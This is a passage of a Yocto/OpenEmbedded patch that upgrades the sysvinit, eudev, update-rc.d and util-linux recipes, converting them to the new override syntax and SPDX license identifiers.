- file://0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch \
- file://rcS-default \
- file://rc \
- file://rcS \
- file://bootlogd.init \
- file://01_bootlogd \
-"
-
-SRC_URI[md5sum] = "6eda8a97b86e0a6f59dabbf25202aa6f"
-SRC_URI[sha256sum] = "60bbc8c1e1792056e23761d22960b30bb13eccc2cabff8c7310a01f4d5df1519"
-
-S = "${WORKDIR}/sysvinit-${PV}"
-B = "${S}/src"
-
-inherit update-alternatives distro_features_check
-DEPENDS_append = " update-rc.d-native base-passwd virtual/crypt"
-
-REQUIRED_DISTRO_FEATURES = "sysvinit"
-
-ALTERNATIVE_${PN} = "init mountpoint halt reboot runlevel shutdown poweroff last lastb mesg utmpdump wall"
-
-ALTERNATIVE_PRIORITY = "200"
-
-ALTERNATIVE_LINK_NAME[init] = "${base_sbindir}/init"
-ALTERNATIVE_PRIORITY[init] = "50"
-
-ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
-ALTERNATIVE_PRIORITY[mountpoint] = "20"
-
-ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
-ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
-ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
-ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
-ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
-
-ALTERNATIVE_${PN}-pidof = "pidof"
-ALTERNATIVE_LINK_NAME[pidof] = "${base_bindir}/pidof"
-
-ALTERNATIVE_${PN}-sulogin = "sulogin"
-ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
-
-ALTERNATIVE_${PN}-doc = "mountpoint.1 last.1 lastb.1 mesg.1 wall.1 sulogin.8 utmpdump.1"
-
-ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
-ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
-ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
-ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
-ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
-ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
-ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
-
-PACKAGES =+ "sysvinit-pidof sysvinit-sulogin"
-FILES_${PN} += "${base_sbindir}/* ${base_bindir}/*"
-FILES_sysvinit-pidof = "${base_bindir}/pidof.sysvinit ${base_sbindir}/killall5"
-FILES_sysvinit-sulogin = "${base_sbindir}/sulogin.sysvinit"
-
-RDEPENDS_${PN} += "sysvinit-pidof initd-functions"
-
-CFLAGS_prepend = "-D_GNU_SOURCE "
-export LCRYPT = "-lcrypt"
-EXTRA_OEMAKE += "'base_bindir=${base_bindir}' \
- 'base_sbindir=${base_sbindir}' \
- 'bindir=${bindir}' \
- 'sbindir=${sbindir}' \
- 'sysconfdir=${sysconfdir}' \
- 'includedir=${includedir}' \
- 'mandir=${mandir}'"
-
-do_install () {
- oe_runmake 'ROOT=${D}' install
-
- install -d ${D}${sysconfdir} \
- ${D}${sysconfdir}/default \
- ${D}${sysconfdir}/init.d
- for level in S 0 1 2 3 4 5 6; do
- install -d ${D}${sysconfdir}/rc$level.d
- done
-
- install -m 0644 ${WORKDIR}/rcS-default ${D}${sysconfdir}/default/rcS
- install -m 0755 ${WORKDIR}/rc ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/bootlogd.init ${D}${sysconfdir}/init.d/bootlogd
- ln -sf bootlogd ${D}${sysconfdir}/init.d/stop-bootlogd
-
- update-rc.d -r ${D} bootlogd start 07 S .
- update-rc.d -r ${D} stop-bootlogd start 99 2 3 4 5 .
-
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/01_bootlogd ${D}${sysconfdir}/default/volatiles
-
- chown root:shutdown ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
- chmod o-x,u+s ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
-}
diff --git a/meta/recipes-core/sysvinit/sysvinit_3.01.bb b/meta/recipes-core/sysvinit/sysvinit_3.01.bb
new file mode 100644
index 0000000000..844f5f0175
--- /dev/null
+++ b/meta/recipes-core/sysvinit/sysvinit_3.01.bb
@@ -0,0 +1,117 @@
+SUMMARY = "System-V like init"
+DESCRIPTION = "This package is required to boot in most configurations. It provides the /sbin/init program. This is the first process started on boot, and the last process terminated before the system halts."
+HOMEPAGE = "http://savannah.nongnu.org/projects/sysvinit/"
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
+ file://COPYRIGHT;endline=15;md5=a1d3b3526501d3546d530bbe6ab6cdbe \
+ "
+
+RDEPENDS:${PN} = "${PN}-inittab"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/sysvinit/sysvinit-${PV}.tar.xz \
+ file://install.patch \
+ file://crypt-lib.patch \
+ file://pidof-add-m-option.patch \
+ file://realpath.patch \
+ file://0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch \
+ file://rcS-default \
+ file://rc \
+ file://rcS \
+ file://bootlogd.init \
+ file://01_bootlogd \
+ "
+SRC_URI[sha256sum] = "68b11a4772cdacce5fb65a4cbead324a2ce3999d138b4ff61dc2d59e57ef5793"
+
+S = "${WORKDIR}/sysvinit-${PV}"
+
+inherit update-alternatives features_check
+DEPENDS:append = " update-rc.d-native base-passwd virtual/crypt"
+do_package_setscene[depends] = "${MLPREFIX}base-passwd:do_populate_sysroot"
+
+PACKAGECONFIG[psplash-text-updates] = ",,"
+
+REQUIRED_DISTRO_FEATURES = "sysvinit"
+
+ALTERNATIVE:${PN} = "init mountpoint halt reboot runlevel shutdown poweroff last lastb mesg utmpdump wall"
+
+ALTERNATIVE_PRIORITY = "200"
+
+ALTERNATIVE_LINK_NAME[init] = "${base_sbindir}/init"
+ALTERNATIVE_PRIORITY[init] = "50"
+
+ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
+ALTERNATIVE_PRIORITY[mountpoint] = "20"
+
+ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
+ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
+ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
+ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
+ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
+
+ALTERNATIVE:${PN}-pidof = "pidof"
+ALTERNATIVE_LINK_NAME[pidof] = "${base_bindir}/pidof"
+
+ALTERNATIVE:${PN}-sulogin = "sulogin"
+ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
+
+ALTERNATIVE:${PN}-doc = "mountpoint.1 last.1 lastb.1 mesg.1 wall.1 sulogin.8 utmpdump.1"
+
+ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
+ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
+ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
+ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
+ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
+ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
+ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
+
+PACKAGES =+ "sysvinit-pidof sysvinit-sulogin"
+FILES:${PN} += "${base_sbindir}/* ${base_bindir}/*"
+FILES:sysvinit-pidof = "${base_bindir}/pidof.sysvinit ${base_sbindir}/killall5"
+FILES:sysvinit-sulogin = "${base_sbindir}/sulogin.sysvinit"
+
+RDEPENDS:${PN} += "sysvinit-pidof initd-functions base-passwd"
+
+CFLAGS:prepend = "-D_GNU_SOURCE "
+export LCRYPT = "-lcrypt"
+EXTRA_OEMAKE += "'base_bindir=${base_bindir}' \
+ 'base_sbindir=${base_sbindir}' \
+ 'bindir=${bindir}' \
+ 'sbindir=${sbindir}' \
+ 'sysconfdir=${sysconfdir}' \
+ 'includedir=${includedir}' \
+ 'mandir=${mandir}' \
+ MNTPOINT=yes"
+
+do_install () {
+ oe_runmake 'ROOT=${D}' install
+
+ install -d ${D}${sysconfdir} \
+ ${D}${sysconfdir}/default \
+ ${D}${sysconfdir}/init.d
+ for level in S 0 1 2 3 4 5 6; do
+ install -d ${D}${sysconfdir}/rc$level.d
+ done
+
+ sed -e \
+ 's:#PSPLASH_TEXT#:${@bb.utils.contains("PACKAGECONFIG","psplash-text-updates","yes","no", d)}:g' \
+ ${WORKDIR}/rcS-default > ${D}${sysconfdir}/default/rcS
+ chmod 0644 ${D}${sysconfdir}/default/rcS
+ install -m 0755 ${WORKDIR}/rc ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/bootlogd.init ${D}${sysconfdir}/init.d/bootlogd
+ ln -sf bootlogd ${D}${sysconfdir}/init.d/stop-bootlogd
+
+ update-rc.d -r ${D} bootlogd start 07 S .
+ update-rc.d -r ${D} stop-bootlogd start 99 2 3 4 5 .
+
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/01_bootlogd ${D}${sysconfdir}/default/volatiles
+
+ chown root:shutdown ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
+ chmod o-x,u+s ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
+
+ # Already provided by e2fsprogs; sysvinit's version is a copy from there
+ rm ${D}${base_sbindir}/logsave
+ rm ${D}${mandir}/man8/logsave.8
+}
diff --git a/meta/recipes-core/udev/eudev/init b/meta/recipes-core/udev/eudev/init
index 0455ade258..c60dbbf6d5 100644
--- a/meta/recipes-core/udev/eudev/init
+++ b/meta/recipes-core/udev/eudev/init
@@ -52,7 +52,7 @@ case "$1" in
kill_udevd > "/dev/null" 2>&1
# trigger the sorted events
- [ -e /proc/sys/kernel/hotplug ] && echo -e '\000' >/proc/sys/kernel/hotplug
+ [ -e /proc/sys/kernel/hotplug ] && printf '\0\n' >/proc/sys/kernel/hotplug
@UDEVD@ -d
udevadm control --env=STARTUP=1
diff --git a/meta/recipes-core/udev/eudev/permissions.rules b/meta/recipes-core/udev/eudev/permissions.rules
index 205b733292..bfdff4f8ce 100644
--- a/meta/recipes-core/udev/eudev/permissions.rules
+++ b/meta/recipes-core/udev/eudev/permissions.rules
@@ -10,9 +10,9 @@ SUBSYSTEM=="net", WAIT_FOR_SYSFS="address"
SUBSYSTEM=="net", ENV{DRIVER}=="?*", WAIT_FOR_SYSFS="device/driver"
# devices needed to load the drivers providing them
-KERNEL=="tun", OPTIONS+="ignore_remove"
-KERNEL=="ppp", OPTIONS+="ignore_remove"
-KERNEL=="loop[0-9]*", OPTIONS+="ignore_remove"
+KERNEL=="tun", OPTIONS+="ignore:remove"
+KERNEL=="ppp", OPTIONS+="ignore:remove"
+KERNEL=="loop[0-9]*", OPTIONS+="ignore:remove"
# default permissions for block devices
SUBSYSTEM=="block", GROUP="disk"
diff --git a/meta/recipes-core/udev/eudev_3.2.10.bb b/meta/recipes-core/udev/eudev_3.2.10.bb
new file mode 100644
index 0000000000..dec16be046
--- /dev/null
+++ b/meta/recipes-core/udev/eudev_3.2.10.bb
@@ -0,0 +1,97 @@
+SUMMARY = "eudev is a fork of systemd's udev"
+HOMEPAGE = "https://wiki.gentoo.org/wiki/Eudev"
+DESCRIPTION = "eudev is Gentoo's fork of udev, systemd's device file manager for the Linux kernel. It manages device nodes in /dev and handles all user space actions when adding or removing devices."
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:libudev = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+DEPENDS = "glib-2.0 glib-2.0-native gperf-native kmod libxslt-native util-linux"
+
+PROVIDES = "udev"
+
+SRC_URI = "https://dev.gentoo.org/~blueness/${BPN}/${BP}.tar.gz \
+ file://0014-Revert-rules-remove-firmware-loading-rules.patch \
+ file://Revert-udev-remove-userspace-firmware-loading-suppor.patch \
+ file://devfs-udev.rules \
+ file://init \
+ file://links.conf \
+ file://local.rules \
+ file://permissions.rules \
+ file://run.rules \
+ file://udev.rules \
+"
+
+SRC_URI[md5sum] = "60b135a189523f333cea5f71a3345c8d"
+SRC_URI[sha256sum] = "87bb028d470fd1b85169349b44c55d5b733733dc2d50ddf1196e026725ead034"
+
+inherit autotools update-rc.d qemu pkgconfig features_check
+
+CONFLICT_DISTRO_FEATURES = "systemd"
+
+EXTRA_OECONF = " \
+ --sbindir=${base_sbindir} \
+ --with-rootlibdir=${base_libdir} \
+ --with-rootlibexecdir=${nonarch_base_libdir}/udev \
+ --with-rootprefix= \
+"
+
+PACKAGECONFIG ??= "hwdb"
+PACKAGECONFIG[hwdb] = "--enable-hwdb,--disable-hwdb"
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/udev
+ sed -i s%@UDEVD@%${base_sbindir}/udevd% ${D}${sysconfdir}/init.d/udev
+
+ install -d ${D}${sysconfdir}/udev/rules.d
+ install -m 0644 ${WORKDIR}/local.rules ${D}${sysconfdir}/udev/rules.d/local.rules
+
+ # Use classic network interface naming scheme
+ touch ${D}${sysconfdir}/udev/rules.d/80-net-name-slot.rules
+
+ # hid2hci has moved to bluez4. removed in udev as of version 169
+ rm -f ${D}${base_libdir}/udev/hid2hci
+
+ # duplicate udevadm for postinst script
+ install -d ${D}${libexecdir}
+ ln ${D}${bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
+}
+
+do_install:prepend:class-target () {
+ # Remove references to buildmachine
+ sed -i -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ ${B}/src/udev/keyboard-keys-from-name.h
+}
+
+INITSCRIPT_NAME = "udev"
+INITSCRIPT_PARAMS = "start 04 S ."
+
+PACKAGES =+ "libudev"
+PACKAGES =+ "eudev-hwdb"
+
+
+FILES:${PN} += "${libexecdir} ${nonarch_base_libdir}/udev ${bindir}/udevadm"
+FILES:${PN}-dev = "${datadir}/pkgconfig/udev.pc \
+ ${includedir}/libudev.h ${libdir}/libudev.so \
+ ${includedir}/udev.h ${libdir}/libudev.la \
+ ${libdir}/libudev.a ${libdir}/pkgconfig/libudev.pc"
+FILES:libudev = "${base_libdir}/libudev.so.*"
+FILES:eudev-hwdb = "${sysconfdir}/udev/hwdb.d"
+
+RDEPENDS:eudev-hwdb += "eudev"
+
+RPROVIDES:${PN} = "hotplug udev"
+RPROVIDES:eudev-hwdb += "udev-hwdb"
+
+PACKAGE_WRITE_DEPS += "qemu-native"
+pkg_postinst:eudev-hwdb () {
+ if test -n "$D"; then
+ $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX}
+ else
+ udevadm hwdb --update
+ fi
+}
+
+pkg_prerm:eudev-hwdb () {
+ rm -f $D${sysconfdir}/udev/hwdb.bin
+}
diff --git a/meta/recipes-core/udev/eudev_3.2.8.bb b/meta/recipes-core/udev/eudev_3.2.8.bb
deleted file mode 100644
index eecf64e550..0000000000
--- a/meta/recipes-core/udev/eudev_3.2.8.bb
+++ /dev/null
@@ -1,96 +0,0 @@
-SUMMARY = "eudev is a fork of systemd's udev"
-HOMEPAGE = "https://wiki.gentoo.org/wiki/Eudev"
-LICENSE = "GPLv2.0+ & LGPL-2.1+"
-LICENSE_libudev = "LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-DEPENDS = "glib-2.0 glib-2.0-native gperf-native kmod libxslt-native util-linux"
-
-PROVIDES = "udev"
-
-SRC_URI = "http://dev.gentoo.org/~blueness/${BPN}/${BP}.tar.gz \
- file://0014-Revert-rules-remove-firmware-loading-rules.patch \
- file://Revert-udev-remove-userspace-firmware-loading-suppor.patch \
- file://devfs-udev.rules \
- file://init \
- file://links.conf \
- file://local.rules \
- file://permissions.rules \
- file://run.rules \
- file://udev.rules \
-"
-
-SRC_URI[md5sum] = "ce166b3fdd910c2a4a840378f48fedaf"
-SRC_URI[sha256sum] = "61e4948e9e51271c3cce2bb5311a30b206dd03ef011062e6c627fb007e43f6b8"
-
-inherit autotools update-rc.d qemu pkgconfig distro_features_check
-
-CONFLICT_DISTRO_FEATURES = "systemd"
-
-EXTRA_OECONF = " \
- --sbindir=${base_sbindir} \
- --with-rootlibdir=${base_libdir} \
- --with-rootlibexecdir=${nonarch_base_libdir}/udev \
- --with-rootprefix= \
-"
-
-PACKAGECONFIG ??= "hwdb"
-PACKAGECONFIG[hwdb] = "--enable-hwdb,--disable-hwdb"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/udev
- sed -i s%@UDEVD@%${base_sbindir}/udevd% ${D}${sysconfdir}/init.d/udev
-
- install -d ${D}${sysconfdir}/udev/rules.d
- install -m 0644 ${WORKDIR}/local.rules ${D}${sysconfdir}/udev/rules.d/local.rules
-
- # Use classic network interface naming scheme
- touch ${D}${sysconfdir}/udev/rules.d/80-net-name-slot.rules
-
- # hid2hci has moved to bluez4. removed in udev as of version 169
- rm -f ${D}${base_libdir}/udev/hid2hci
-
- # duplicate udevadm for postinst script
- install -d ${D}${libexecdir}
- ln ${D}${bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
-}
-
-do_install_prepend_class-target () {
- # Remove references to buildmachine
- sed -i -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- ${B}/src/udev/keyboard-keys-from-name.h
-}
-
-INITSCRIPT_NAME = "udev"
-INITSCRIPT_PARAMS = "start 04 S ."
-
-PACKAGES =+ "libudev"
-PACKAGES =+ "eudev-hwdb"
-
-
-FILES_${PN} += "${libexecdir} ${nonarch_base_libdir}/udev ${bindir}/udevadm"
-FILES_${PN}-dev = "${datadir}/pkgconfig/udev.pc \
- ${includedir}/libudev.h ${libdir}/libudev.so \
- ${includedir}/udev.h ${libdir}/libudev.la \
- ${libdir}/libudev.a ${libdir}/pkgconfig/libudev.pc"
-FILES_libudev = "${base_libdir}/libudev.so.*"
-FILES_eudev-hwdb = "${sysconfdir}/udev/hwdb.d"
-
-RDEPENDS_eudev-hwdb += "eudev"
-
-RPROVIDES_${PN} = "hotplug udev"
-RPROVIDES_eudev-hwdb += "udev-hwdb"
-
-PACKAGE_WRITE_DEPS += "qemu-native"
-pkg_postinst_eudev-hwdb () {
- if test -n "$D"; then
- $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX}
- else
- udevadm hwdb --update
- fi
-}
-
-pkg_prerm_eudev-hwdb () {
- rm -f $D${sysconfdir}/udev/hwdb.bin
-}
diff --git a/meta/recipes-core/udev/udev-extraconf_1.1.bb b/meta/recipes-core/udev/udev-extraconf_1.1.bb
index 90f933d981..2ba35b0df6 100644
--- a/meta/recipes-core/udev/udev-extraconf_1.1.bb
+++ b/meta/recipes-core/udev/udev-extraconf_1.1.bb
@@ -35,11 +35,11 @@ do_install() {
install -m 0755 ${WORKDIR}/network.sh ${D}${sysconfdir}/udev/scripts
}
-FILES_${PN} = "${sysconfdir}/udev"
-RDEPENDS_${PN} = "udev"
-CONFFILES_${PN} = "${sysconfdir}/udev/mount.blacklist"
+FILES:${PN} = "${sysconfdir}/udev"
+RDEPENDS:${PN} = "udev"
+CONFFILES:${PN} = "${sysconfdir}/udev/mount.blacklist"
# to replace udev-extra-rules from meta-oe
-RPROVIDES_${PN} = "udev-extra-rules"
-RREPLACES_${PN} = "udev-extra-rules"
-RCONFLICTS_${PN} = "udev-extra-rules"
+RPROVIDES:${PN} = "udev-extra-rules"
+RREPLACES:${PN} = "udev-extra-rules"
+RCONFLICTS:${PN} = "udev-extra-rules"
diff --git a/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb b/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
index 75632d9434..ee49198429 100644
--- a/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
+++ b/meta/recipes-core/update-rc.d/update-rc.d_0.8.bb
@@ -3,11 +3,11 @@ HOMEPAGE = "http://github.com/philb/update-rc.d/"
DESCRIPTION = "update-rc.d is a utility that allows the management of symlinks to the initscripts in the /etc/rcN.d directory structure."
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://update-rc.d;beginline=5;endline=15;md5=d40a07c27f535425934bb5001f2037d9"
-SRC_URI = "git://git.yoctoproject.org/update-rc.d"
-SRCREV = "4b150b25b38de688d25cde2b2d22c268ed65a748"
+SRC_URI = "git://git.yoctoproject.org/update-rc.d;branch=master"
+SRCREV = "8636cf478d426b568c1be11dbd9346f67e03adac"
UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/util-linux/util-linux-libuuid_2.37.4.bb b/meta/recipes-core/util-linux/util-linux-libuuid_2.37.4.bb
new file mode 100644
index 0000000000..5d759aed94
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux-libuuid_2.37.4.bb
@@ -0,0 +1,16 @@
+# To allow util-linux to optionally build-depend on cryptsetup, libuuid is
+# split out of the main recipe, as it's needed by cryptsetup
+
+require util-linux.inc
+
+inherit autotools gettext pkgconfig
+
+S = "${WORKDIR}/util-linux-${PV}"
+EXTRA_OECONF += "--disable-all-programs --enable-libuuid"
+LICENSE = "BSD-3-Clause"
+
+do_install:append() {
+ rm -rf ${D}${datadir} ${D}${bindir} ${D}${base_bindir} ${D}${sbindir} ${D}${base_sbindir} ${D}${exec_prefix}/sbin
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/util-linux/util-linux.inc b/meta/recipes-core/util-linux/util-linux.inc
index 1fa82363b1..982ec669a2 100644
--- a/meta/recipes-core/util-linux/util-linux.inc
+++ b/meta/recipes-core/util-linux/util-linux.inc
@@ -1,14 +1,18 @@
SUMMARY = "A suite of basic system administration utilities"
-HOMEPAGE = "http://userweb.kernel.org/~kzak/util-linux/"
+HOMEPAGE = "https://en.wikipedia.org/wiki/Util-linux"
DESCRIPTION = "Util-linux includes a suite of basic system administration utilities \
commonly found on most Linux systems. Some of the more important utilities include \
disk partitioning, kernel message management, filesystem creation, and system login."
SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2.1+ & BSD-3-Clause & BSD-4-Clause"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later & BSD-3-Clause & BSD-4-Clause"
+LICENSE:${PN}-libblkid = "LGPL-2.1-or-later"
+LICENSE:${PN}-libfdisk = "LGPL-2.1-or-later"
+LICENSE:${PN}-libmount = "LGPL-2.1-or-later"
+LICENSE:${PN}-libsmartcols = "LGPL-2.1-or-later"
-LIC_FILES_CHKSUM = "file://README.licensing;md5=972a134f1e14b2b060e365df2fab0099 \
+LIC_FILES_CHKSUM = "file://README.licensing;md5=0fd5c050c6187d2bf0a4492b7f4e33da \
file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://Documentation/licenses/COPYING.GPL-2.0-or-later;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://Documentation/licenses/COPYING.LGPL-2.1-or-later;md5=4fbd65380cdd255951079008b364516c \
@@ -16,316 +20,21 @@ LIC_FILES_CHKSUM = "file://README.licensing;md5=972a134f1e14b2b060e365df2fab0099
file://Documentation/licenses/COPYING.BSD-4-Clause-UC;md5=263860f8968d8bafa5392cab74285262 \
file://libuuid/COPYING;md5=6d2cafc999feb2c2de84d4d24b23290c \
file://libmount/COPYING;md5=7c7e39fb7d70ffe5d693a643e29987c2 \
- file://libblkid/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04"
-
-#gtk-doc is not enabled as it requires xmlto which requires util-linux
-inherit autotools gettext manpages pkgconfig systemd update-alternatives python3-dir bash-completion ptest
-DEPENDS = "libcap-ng ncurses virtual/crypt zlib"
+ file://libblkid/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
+ file://libfdisk/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
+ file://libsmartcols/COPYING;md5=693bcbbe16d3a4a4b37bc906bc01cc04 \
+"
+FILESEXTRAPATHS:prepend := "${THISDIR}/util-linux:"
MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/v${MAJOR_VERSION}/${BP}.tar.xz \
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/util-linux/v${MAJOR_VERSION}/util-linux-${PV}.tar.xz \
+ file://configure-sbindir.patch \
+ file://runuser.pamd \
+ file://runuser-l.pamd \
+ file://ptest.patch \
+ file://run-ptest \
+ file://display_testname_for_subtest.patch \
+ file://avoid_parallel_tests.patch \
"
-PACKAGES =+ "${PN}-swaponoff"
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pylibmount', '${PN}-pylibmount', '', d)}"
-
-python util_linux_binpackages () {
- def pkg_hook(f, pkg, file_regex, output_pattern, modulename):
- pn = d.getVar('PN')
- d.appendVar('RRECOMMENDS_%s' % pn, ' %s' % pkg)
-
- if d.getVar('ALTERNATIVE_' + pkg):
- return
- if d.getVarFlag('ALTERNATIVE_LINK_NAME', modulename):
- d.setVar('ALTERNATIVE_' + pkg, modulename)
-
- bindirs = sorted(list(set(d.expand("${base_sbindir} ${base_bindir} ${sbindir} ${bindir}").split())))
- for dir in bindirs:
- do_split_packages(d, root=dir,
- file_regex=r'(.*)', output_pattern='${PN}-%s',
- description='${PN} %s',
- hook=pkg_hook, extra_depends='')
-
- # There are some symlinks for some binaries which we have ignored
- # above. Add them to the package owning the binary they are
- # pointing to
- extras = {}
- dvar = d.getVar('PKGD')
- for root in bindirs:
- for walkroot, dirs, files in os.walk(dvar + root):
- for f in files:
- file = os.path.join(walkroot, f)
- if not os.path.islink(file):
- continue
-
- pkg = os.path.basename(os.readlink(file))
- extras[pkg] = extras.get(pkg, '') + ' ' + file.replace(dvar, '', 1)
-
- pn = d.getVar('PN')
- for pkg, links in extras.items():
- of = d.getVar('FILES_' + pn + '-' + pkg)
- links = of + links
- d.setVar('FILES_' + pn + '-' + pkg, links)
-}
-
-# we must execute before update-alternatives PACKAGE_PREPROCESS_FUNCS
-PACKAGE_PREPROCESS_FUNCS =+ "util_linux_binpackages "
-
-python util_linux_libpackages() {
- do_split_packages(d, root=d.getVar('UTIL_LINUX_LIBDIR'), file_regex=r'^lib(.*)\.so\..*$',
- output_pattern='${PN}-lib%s',
- description='${PN} lib%s',
- extra_depends='', prepend=True, allow_links=True)
-}
-
-PACKAGESPLITFUNCS =+ "util_linux_libpackages"
-
-PACKAGES_DYNAMIC = "^${PN}-.*"
-
-CACHED_CONFIGUREVARS += "scanf_cv_alloc_modifier=ms"
-UTIL_LINUX_LIBDIR = "${libdir}"
-UTIL_LINUX_LIBDIR_class-target = "${base_libdir}"
-EXTRA_OECONF = "\
- --enable-libuuid --enable-libblkid \
- \
- --enable-fsck --enable-kill --enable-last --enable-mesg \
- --enable-mount --enable-partx --enable-raw --enable-rfkill \
- --enable-unshare --enable-write \
- \
- --disable-bfs --disable-chfn-chsh --disable-login \
- --disable-makeinstall-chown --disable-minix --disable-newgrp \
- --disable-use-tty-group --disable-vipw \
- \
- --without-udev \
- \
- usrsbin_execdir='${sbindir}' \
- --libdir='${UTIL_LINUX_LIBDIR}' \
-"
-
-EXTRA_OECONF_append_class-target = " --enable-setpriv"
-EXTRA_OECONF_append_class-native = " --without-cap-ng --disable-setpriv"
-EXTRA_OECONF_append_class-nativesdk = " --without-cap-ng --disable-setpriv"
-
-PACKAGECONFIG_class-target ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-# inherit manpages requires this to be present, however util-linux does not have
-# configuration options, and installs manpages always
-PACKAGECONFIG[manpages] = ""
-PACKAGECONFIG[pam] = "--enable-su --enable-runuser,--disable-su --disable-runuser, libpam,"
-# Respect the systemd feature for uuidd
-PACKAGECONFIG[systemd] = "--with-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}, --without-systemd --without-systemdsystemunitdir,systemd"
-# Build python bindings for libmount
-PACKAGECONFIG[pylibmount] = "--with-python=3 --enable-pylibmount,--without-python --disable-pylibmount,python3"
-# Readline support
-PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
-
-EXTRA_OEMAKE = "ARCH=${TARGET_ARCH} CPU= CPUOPT= 'OPT=${CFLAGS}'"
-
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = ""
-FILES_${PN}-doc += "${datadir}/getopt/getopt-*.*"
-FILES_${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.la"
-FILES_${PN}-mount = "${sysconfdir}/default/mountall"
-FILES_${PN}-runuser = "${sysconfdir}/pam.d/runuser*"
-FILES_${PN}-su = "${sysconfdir}/pam.d/su-l"
-CONFFILES_${PN}-su = "${sysconfdir}/pam.d/su-l"
